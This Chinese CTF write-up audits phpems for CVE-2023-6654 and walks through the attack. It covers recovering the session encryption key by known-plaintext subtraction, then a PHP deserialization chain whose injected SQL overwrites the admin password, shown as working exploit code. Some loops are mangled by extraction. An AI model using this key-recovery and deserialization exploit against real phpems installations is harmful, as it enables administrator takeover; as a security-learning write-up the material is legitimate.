专栏名称: 合天网安实验室
为广大信息安全爱好者提供有价值的文章推送服务!
目录
相关文章推荐
鼠绘情报站  ·  海贼王1141话情报补充和分析丨洛基vs神之 ... ·  2 天前  
鼠绘情报站  ·  海贼王1141话详细情报丨艾尔巴夫的两个弱点 ... ·  2 天前  
鼠绘情报站  ·  海贼王1141话情报丨路飞成功释放洛基!官方 ... ·  3 天前  
51好读  ›  专栏  ›  合天网安实验室

2024西湖论剑-phpems-代码审计

合天网安实验室  · 公众号  ·  · 2024-03-25 17:30

正文

前言

系统是phpems,修改了默认密码,需要利用CVE登上去

CVE-2023-6654 ,菜鸟学习,大佬多指点

0x01环境搭建

https://phpems.net/index.php 源码

config.inc.php修改相应数据库配置

{width="7.037036307961505in" height="4.045271216097988in"}

数据库运行pe9.sql文件建立数据库

{width="16.29629593175853in" height="7.365761154855643in"}

0x02代码审计

根据题目提示是CVE2023-6654

{width="8.648147419072616in" height="4.851079396325459in"}

漏洞点在session.cls.php

查看session.cls.php代码

{width="8.685185914260718in" height="5.097732939632546in"}

查看ginkgo

{width="9.333333333333334in" height="5.282419072615923in"}

其make方法会判断$G拼接的文件名是否存在,也就是lib文件下的.cls.php文件,存在的就会包含这个文件

pepdo,ev,pdosql,strings是这里面分别包含的文件,根据CVE披露得知是反序列化漏洞,搜索反序列化点。

{width="5.8148140857392825in" height="0.41712160979877516in"}

strings.cls.php中有利用点

{width="8.944444444444445in" height="2.6294094488188975in"}

getSessionId()方法里面有调用decode

{width="7.574074803149606in" height="3.374326334208224in"}

key值为CS,CS值在config.inc.php中,题目环境是修改的

{width="9.462963692038494in" height="3.851010498687664in"}

使用如下代码可以解密出明文,因为我们知道key

{width="10.444444444444445in" height="3.1749781277340334in"}


define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2586%2582%258Fgf%25A3%25EE";
$key = CS;
$info = urldecode(urldecode($info));
$kl = strlen($key);
$il = strlen($info);
for($i = 0$i $il
$i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
echo $info;

{width="10.537036307961506in" height="1.4014162292213472in"}

encode代码

public function encode($info)
{
$info = serialize($info);
$key = CS;
$kl = strlen($key);
$il = strlen($info);
for($i = 0$i $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}

decode代码

public function decode($info)
{
$key = CS;
$info = urldecode($info);
$kl = strlen($key);
$il = strlen($info);
for($i = 0$i $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
$info = unserialize($info);
return $info;
}

可以看出里面这个$p值是循环的,加密的出来的值等于其ascll值相加,

encode是明文+key=密文

decode是密文-key=明文

key=密文-明文

key的长度是32位,也就是我们得到的密码每32位一循环,那么如果我们知道密文中其中一段32位的明文,就可以算出来key了

ev.cls.php

{width="10.61111111111111in" height="3.681751968503937in"}

可以确认这个ip是可控的,也就是这个值是可控的

a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}

去掉前面的64位,往后顺延32为取出来,值如下

:"sessionip";s:9:"127.0.0.1";s:1

解密脚本


$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7tSm%25A6nfg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9yjiiemj%25A3%25EE";
$key = CS;
$info = urldecode(urldecode($info));
$info1=substr($info,64,32);
//echo $info1;
$ed=strlen($info1);//也就是32
$dc=32;
$sessip=':"sessionip";s:9:"127.0.0.1";s:1';
for ($i=0;$i<$ed;$i++)
{
$p=$i%$dc;
$info1[$i]=chr(ord($info1[$i])-ord($sessip[$p]));
}
echo $info1;
//1hqfx6ticwRxtfviTp940vng!yC12345

构造反序列化链子

session.cls.php的__destruct() 关键代码

$sql = $this->pdosql->makeUpdate($data);
$this->db->exec($sql);

![](./myMediaFolder/media/image13.png){width="7.333333333333333in"
height="2.8976049868766403in"}

这里可以看出分别需要db和pdosql,以此达到反序列化修改数据库密码,

构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec

{width="8.796297025371828in" height="1.4777165354330708in"}

0x03漏洞复现

这里使用网上师傅的EXP


namespace PHPEMS
{
class session
{
public function __construct()
{
$this->sessionid="1111111";
$this->pdosql= new pdosql();
$this->db= new pepdo();
}
}
class pdosql
{
private $db;
public function __construct()
{
$this->tablepre = 'x2_user set
userpassword="a10adc3949ba59abbe56e057f20f883e" where
username="peadmin";#--'
;
$this->db=new pepdo();
}

}
class pepdo
{
private $linkid = 0;
}
}
namespace {
define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345');
function encode($info)
{
$info = serialize($info);
$key = CS1;
$kl = strlen($key);
$il = strlen($info);
for($i = 0$i $il
$i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
$session = new PHPEMSsession();
$array = array("sessionid"=>"123123123"$session);
echo serialize($array)."n";
echo(urlencode(encode($array)))."n";
}

实战中我们的ip是可以伪造的

{width="10.648147419072616in" height="5.5473053368328955in"}

{width="11.722222222222221in" height="1.0431999125109361in"}







请到「今天看啥」查看全文